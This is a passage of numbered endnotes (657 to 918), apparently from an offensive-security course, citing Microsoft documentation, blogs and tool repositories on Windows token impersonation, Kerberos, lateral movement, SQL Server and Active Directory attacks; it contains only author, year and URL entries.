  657. (Microsoft, 2020), https://gallery.technet.microsoft.com/step-by-step-deploy-local-7c9ef772/file/150657/1/step%20by%20step%20guide%20to%20deploy%20microsoft%20laps.pdf↩︎

  658. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens↩︎

  659. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/privileges↩︎

  660. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges↩︎

  661. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown↩︎

  662. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/ntsecapi/nf-ntsecapi-lsaaddaccountrights↩︎

  663. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/how-to-configure-security-policy-settings↩︎

  664. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens↩︎

  665. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/impersonation-tokens↩︎

  666. (James Forshaw, 2015), https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw↩︎

  667. (Bryan Alexander, Steve Breen, 2017), https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/↩︎

  668. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Handle_(computing)↩︎

  669. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/services/localservice-account↩︎

  670. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex↩︎

  671. (@itm4n, 2020), https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/↩︎

  672. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ipc/pipes↩︎

  673. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ipc/interprocess-communications↩︎

  674. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes↩︎

  675. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes↩︎

  676. (@harmj0y, 2017), https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/↩︎

  677. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-prsod/7262f540-dd18-46a3-b645-8ea9b59753dc↩︎

  678. (Micorosft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient↩︎

  679. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea↩︎

  680. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe↩︎

  681. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/winbase/nf-winbase-waitnamedpipea↩︎

  682. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken↩︎

  683. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation↩︎

  684. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/sddl/nf-sddl-convertsidtostringsidw↩︎

  685. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthread↩︎

  686. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/secauthz/access-rights-for-access-token-objects↩︎

  687. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/winnt/ne-winnt-token_information_class↩︎

  688. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.allochglobal?view=netcore-3.1↩︎

  689. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_token_user↩︎

  690. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.ptrtostructure?view=netcore-3.1↩︎

  691. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.ptrtostringauto?view=netcore-3.1↩︎

  692. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1↩︎

  693. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/989357e2-446e-4872-bb38-1dce21e1313f↩︎

  694. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b8b414d9-f1cd-4191-bb6b-87d09ab2fd83↩︎

  695. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/rpcndr/nf-rpcndr-ndrclientcall2↩︎

  696. (Lee Christensen, 2018), https://github.com/leechristensen/SpoolSample↩︎

  697. (Vincent Le Toux, 2018), https://github.com/vletoux/SpoolerScanner↩︎

  698. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats↩︎

  699. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids↩︎

  700. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw↩︎

  701. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/winnt/ne-winnt-security_impersonation_level↩︎

  702. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/winnt/ne-winnt-token_type↩︎

  703. (Clément Labro, 2020), https://github.com/itm4n/PrintSpoofer↩︎

  704. (Alex Ionescu, 2020), https://windows-internals.com/faxing-your-way-to-system/↩︎

  705. (Microsoft, 2009), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787851(v=ws.10)?redirectedfrom=MSDN↩︎

  706. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal↩︎

  707. (@decoder_it, 2020), https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/↩︎

  708. (@decoder_it, 2019), https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/↩︎

  709. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/winrm/portal↩︎

  710. (Rapid7, 2015), https://github.com/rapid7/meterpreter/blob/master/source/extensions/incognito/incognito.c↩︎

  711. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser↩︎

  712. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-kerberos↩︎

  713. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Kerberos_(protocol)↩︎

  714. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/secauthn/key-distribution-center↩︎

  715. (Skip Duckwall, Benjamin Delpy, 2014), https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It-wp.pdf↩︎

  716. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names↩︎↩︎

  717. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection↩︎

  718. (Benjamin Delpy, 2020), https://github.com/gentilkiwi/mimikatz↩︎

  719. (Benjamin Delpy, 2020), https://github.com/gentilkiwi↩︎

  720. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants↩︎

  721. (Kevin Joyce, 2019), https://blog.stealthbits.com/wdigest-clear-text-passwords-stealing-more-than-a-hash/↩︎

  722. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard↩︎

  723. (Alex Ionescu, 2014), http://www.nosuchcon.org/talks/2014/D3_05_Alex_ionescu_Breaking_protected_processes.pdf↩︎

  724. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection↩︎

  725. (Rapid7, 2017), https://blog.rapid7.com/2017/01/27/weekly-metasploit-wrapup-2/↩︎

  726. (Microsoft, 2018), https://docs.microsoft.com/en-us/visualstudio/debugger/using-dump-files?view=vs-2019↩︎

  727. (Microsoft, 2017), https://docs.microsoft.com/en-us/sysinternals/downloads/procdump↩︎

  728. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump↩︎

  729. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/minidumpapiset/ne-minidumpapiset-minidump_type↩︎

  730. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process?view=netframework-4.8↩︎

  731. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess↩︎

  732. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea↩︎

  733. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.io.filestream?view=netframework-4.8↩︎

  734. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.io.filemode?view=netframework-4.8↩︎

  735. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.safehandle.dangerousgethandle?view=netframework-4.8↩︎

  736. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.safehandle?view=netframework-4.8↩︎

  737. (Matt Nelson, 2017), https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/↩︎

  738. (Penetration Testing Lab, 2018), https://pentestlab.blog/2018/05/15/lateral-movement-winrm/↩︎

  739. (Steven F, 2020), https://github.com/0xthirteen/SharpMove↩︎

  740. (Microsoft, 2020), https://support.microsoft.com/en-us/help/186607/understanding-the-remote-desktop-protocol-rdp↩︎

  741. (Microsoft, 2016), https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/windows-logon-scenarios↩︎

  742. (Microsoft, 2020), https://www.microsoft.com/en-gb/download/details.aspx?id=36036↩︎

  743. (Offensive Security, 2014), https://www.kali.org/penetration-testing/passing-hash-remote-desktop/↩︎

  744. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Network_address_translation↩︎

  745. (Rapid7, 2019), https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/manage/autoroute.md↩︎

  746. (Wikipedia, 2020), <https://en.wikipedia.org/wiki/SOCKS >↩︎

  747. (Sourceforge, 2020), http://proxychains.sourceforge.net/↩︎

  748. (PuTTY, 2020), https://www.putty.org/↩︎

  749. (Jaime Pillora, 2020), https://github.com/jpillora/chisel↩︎

  750. (Golang, 2020), https://golang.org/↩︎

  751. (Golang, 2020), https://golang.org/cmd/go/#hdr-Environment_variables↩︎

  752. (Golang, 2020), https://golang.org/cmd/go/#hdr-Compile_packages_and_dependencies↩︎

  753. (Golang, 2020), https://golang.org/cmd/link/↩︎

  754. (0xdf, 2019), https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html↩︎

  755. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/termserv/mstscax↩︎

  756. (Steven F, 2020), https://github.com/0xthirteen/SharpRDP↩︎

  757. ↩︎
  758. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/termserv/imsrdpclientnonscriptable-sendkeys↩︎

  759. (Infosec Resources, 2014), https://resources.infosecinstitute.com/api-hooking/↩︎

  760. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec↩︎

  761. (Microsoft, 2019), https://github.com/microsoft/Detours/wiki/Using-Detours↩︎

  762. (MDSec, 2019), https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/↩︎

  763. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credismarshaledcredentialw↩︎

  764. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory↩︎

  765. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-sspiprepareforcredread↩︎

  766. (MDSec, 2019), https://github.com/0x09AL/RdpThief↩︎

  767. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Server_Message_Block↩︎

  768. (Wikipedia, 2019), https://en.wikipedia.org/wiki/DCE/RPC↩︎

  769. (MrUn1k0d3r, 2019), https://github.com/Mr-Un1k0d3r/SCShell↩︎

  770. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagerw↩︎

  771. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea↩︎

  772. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openservicea↩︎

  773. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfiga↩︎

  774. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-startservicea↩︎

  775. (pinvoke.net, 2020), http://pinvoke.net/default.aspx/advapi32/OpenSCManager.html↩︎

  776. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/services/service-security-and-access-rights↩︎

  777. (batcmd.com, 2020), http://batcmd.com/windows/10/services/sensorservice/↩︎

  778. (pinvoke.net, 2020), https://www.pinvoke.net/default.aspx/advapi32.openservice↩︎

  779. (pinvoke.net, 2020), https://www.pinvoke.net/default.aspx/advapi32/changeserviceconfig.html↩︎

  780. (pinvoke.net, 2020), https://www.pinvoke.net/default.aspx/advapi32.startservice↩︎

  781. (MrUn1k0d3r, 2019), https://github.com/Mr-Un1k0d3r/SCShell↩︎

  782. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-queryserviceconfiga↩︎

  783. (Wikipedia, 2020), https://en.wikipedia.org/wiki/DevOps↩︎↩︎

  784. (SSH Communications Security, Inc., 2020), https://www.ssh.com/ssh/↩︎

  785. (SSH Communications Security, Inc., 2020), https://www.ssh.com/ssh/public-key-authentication↩︎

  786. (Ubuntu, 2015), https://help.ubuntu.com/community/SSH/OpenSSH/Keys↩︎

  787. (HashCat), https://hashcat.net/hashcat/↩︎↩︎

  788. (die.net), https://linux.die.net/man/1/ssh-copy-id↩︎

  789. (The MITRE Corporation, 2020), https://attack.mitre.org/techniques/T1184/↩︎

  790. (OpenBSD, 2020), http://man.openbsd.org/ssh_config.5#ControlMaster↩︎

  791. (SSH Communications Security, Inc., 2020), https://www.ssh.com/ssh/agent↩︎

  792. (Wikibooks, 2020), https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing↩︎

  793. (die.net), https://linux.die.net/man/5/ssh_config↩︎

  794. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Unix_file_types#Socket↩︎

  795. (Puppet, 2020), https://www.puppet.com↩︎

  796. (Chef, 2020), https://www.chef.io↩︎

  797. (Red Hat, Inc., 2020), https://www.ansible.com↩︎

  798. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/modules_intro.html↩︎↩︎

  799. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html↩︎

  800. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/become.html↩︎

  801. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/intro_adhoc.html↩︎

  802. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/playbooks.html↩︎

  803. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/reference_appendices/YAMLSyntax.html#yaml-syntax↩︎

  804. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variables-discovered-from-systems-facts↩︎

  805. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/vault.html↩︎

  806. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/modules/command_module.html↩︎

  807. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/user_guide/playbooks_async.html↩︎

  808. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Syslog↩︎

  809. (Red Hat, Inc., 2020), https://docs.ansible.com/ansible/latest/modules/shell_module.html↩︎

  810. (JFrog Ltd., 2020), https://jfrog.com/artifactory/↩︎

  811. (Apache Software Foundation, 2020), http://archiva.apache.org/index.cgi↩︎

  812. (Sonatype Inc., 2020), https://www.sonatype.com/nexus/repository-pro↩︎

  813. (CloudRepo, 2020), https://www.cloudrepo.io↩︎

  814. (Cloudsmith, 2020), https://cloudsmith.com↩︎

  815. (The MITRE Corporation, 2020), https://attack.mitre.org/techniques/T1195/↩︎

  816. (Gradle Inc., 2020), https://gradle.org↩︎

  817. (Apache Software Foundation, 2019), https://ant.apache.org/ivy/↩︎

  818. (Apache Software Foundation, 2020), https://maven.apache.org↩︎

  819. (Lightbend, Inc., 2020), https://www.scala-sbt.org↩︎

  820. (Apache Software Foundation, 2020), https://db.apache.org/derby/↩︎

  821. (JFrog Ltd., 2020), https://www.jfrog.com/confluence/display/JFROG/Backups↩︎

  822. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Bcrypt↩︎

  823. (JFrog Ltd., 2020), https://www.jfrog.com/confluence/display/JFROG/PostgreSQL↩︎

  824. (Wikipedia, 2020), http://db.apache.org/derby/releases/release-10.15.1.3.html↩︎

  825. (Apache Software Foundation, 2013), https://db.apache.org/derby/docs/10.15/getstart/tgsrunningij.html↩︎

  826. (die.net), https://linux.die.net/man/1/kerberos↩︎

  827. (die.net), https://linux.die.net/man/1/kinit↩︎

  828. (die.net), https://linux.die.net/man/1/klist↩︎

  829. (die.net), https://linux.die.net/man/1/kdestroy↩︎

  830. (MIT, 2020), https://web.mit.edu/kerberos/krb5-devel/doc/basic/keytab_def.html↩︎

  831. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Cron↩︎

  832. (MIT, 2015), https://web.mit.edu/kerberos/krb5-1.12/doc/admin/admin_commands/ktutil.html↩︎

  833. (Impacket, 2020), https://github.com/SecureAuthCorp/impacket↩︎↩︎

  834. (Nmap, 2020), https://nmap.org/↩︎

  835. (Microsoft, 2016), https://docs.microsoft.com/bs-cyrl-ba/sql/sql-server/install/instance-configuration?view=sql-server-2014↩︎

  836. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v%3Dws.11)↩︎

  837. (Tim Medin, 2016), https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1↩︎

  838. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/authentication-in-sql-server↩︎

  839. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/server-and-database-roles-in-sql-server↩︎

  840. (Microsoft, 2018), https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver15↩︎

  841. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection?view=netframework-4.8↩︎

  842. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection.connectionstring?view=netframework-4.8↩︎

  843. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection.open?view=netframework-4.8↩︎

  844. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/system-user-transact-sql?view=sql-server-ver15↩︎

  845. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlcommand?view=netframework-4.8↩︎

  846. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlcommand.executereader?view=netframework-4.8↩︎

  847. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader?view=netframework-4.8↩︎

  848. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader.read?view=netframework-4.8#System_Data_SqlClient_SqlDataReader_Read↩︎

  849. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader.item?view=netframework-4.8#System_Data_SqlClient_SqlDataReader_Item_System_Int32_↩︎

  850. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader.close?view=netframework-4.8#System_Data_SqlClient_SqlDataReader_Close↩︎

  851. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/user-name-transact-sql?view=sql-server-ver15↩︎

  852. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15↩︎

  853. (Sql Server Central, 2012), https://www.sqlservercentral.com/blogs/how-to-use-xp_dirtree-to-list-all-files-in-a-folder↩︎

  854. (Wikipedia, 2020),https://en.wikipedia.org/wiki/Path_(computing)#UNC↩︎

  855. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/security/kerberos/configuring-kerberos-over-ip↩︎

  856. (NetSPI, 2020), https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet↩︎

  857. (Ignadx, 2020), https://github.com/lgandx/Responder↩︎

  858. (Peter Gombos, 2018), https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4↩︎

  859. (Openwall, 2020), https://www.openwall.com/john/↩︎

  860. (Microsoft, 2010), https://docs.microsoft.com/en-gb/archive/blogs/josebda/the-basics-of-smb-signing-covering-both-smb1-and-smb2↩︎

  861. (Microsoft, 2017), https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/customizing-permissions-with-impersonation-in-sql-server↩︎

  862. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver15↩︎

  863. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-permissions-transact-sql?view=sql-server-ver15↩︎

  864. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-principals-transact-sql?view=sql-server-ver15↩︎

  865. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver15↩︎

  866. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15↩︎

  867. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-ver15↩︎

  868. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-ver15↩︎

  869. (Microsoft, 2016), https://docs.microsoft.com/en-us/sql/t-sql/language-elements/reconfigure-transact-sql?view=sql-server-ver15↩︎

  870. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Object_Linking_and_Embedding↩︎

  871. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-ver15↩︎

  872. (Microsoft, 2018), https://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql?view=sql-server-ver15↩︎

  873. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process?view=netframework-4.8↩︎

  874. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.startinfo?view=netframework-4.8↩︎

  875. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.filename?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_FileName↩︎

  876. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.arguments?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_Arguments↩︎

  877. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.useshellexecute?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_UseShellExecute↩︎

  878. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.redirectstandardoutput?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_RedirectStandardOutput↩︎

  879. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=netframework-4.8↩︎

  880. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlcontext.pipe?view=netframework-4.8↩︎

  881. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlcontext?view=netframework-4.8↩︎

  882. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsstart?view=netframework-4.8↩︎

  883. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsstart?view=netframework-4.8↩︎

  884. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsrow?view=netframework-4.8↩︎

  885. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsend?view=netframework-4.8↩︎

  886. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqldatarecord?view=netframework-4.8↩︎

  887. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.standardoutput?view=netframework-4.8↩︎

  888. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling?view=sql-server-ver15↩︎

  889. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-strict-security?view=sql-server-ver15↩︎

  890. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/statements/create-procedure-transact-sql?view=sql-server-ver15↩︎

  891. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-assembly-transact-sql?view=sql-server-ver15↩︎

  892. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-procedure-transact-sql?view=sql-server-ver15↩︎

  893. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine?view=sql-server-ver15↩︎

  894. (Microsoft, 2020), https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/create-linked-servers-sql-server-database-engine?view=sql-server-ver15↩︎

  895. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-linkedservers-transact-sql?view=sql-server-ver15↩︎

  896. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/openquery-transact-sql?view=sql-server-ver15↩︎

  897. (Microsoft, 2012), https://docs.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms186839(v=sql.105)?redirectedfrom=MSDN↩︎

  898. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-serveroption-transact-sql?view=sql-server-ver15↩︎

  899. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/openquery-transact-sql?view=sql-server-ver15↩︎

  900. (NetSPI, 2020), https://github.com/NetSPI/PowerUpSQL↩︎

  901. (NetSPI, 2019), https://github.com/NetSPI/DAFT↩︎

  902. (NetSPI, 2020), https://github.com/NetSPI/ESC↩︎

  903. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/dacls-and-aces↩︎

  904. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language↩︎

  905. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings↩︎

  906. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks↩︎

  907. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/generic-access-rights↩︎

  908. ↩︎
  909. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol↩︎

  910. (BlackHat, 2017), https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf↩︎

  911. (ADSecurity, 2015), https://adsecurity.org/?p=1729↩︎↩︎

  912. (BloodHound, 2019), https://github.com/BloodHoundAD/BloodHound↩︎

  913. ↩︎
  914. (SharpHound, 2020), https://github.com/BloodHoundAD/SharpHound↩︎

  915. (Microsoft, 2018), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects#:~:text=A%20Group%20Policy%20Object%20(GPO,and%20in%20the%20Active%20Directory↩︎

  916. (BloodHound, 2020), https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html↩︎

  917. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels↩︎

  918. (RFC4120, 2020), https://tools.ietf.org/html/rfc4120↩︎

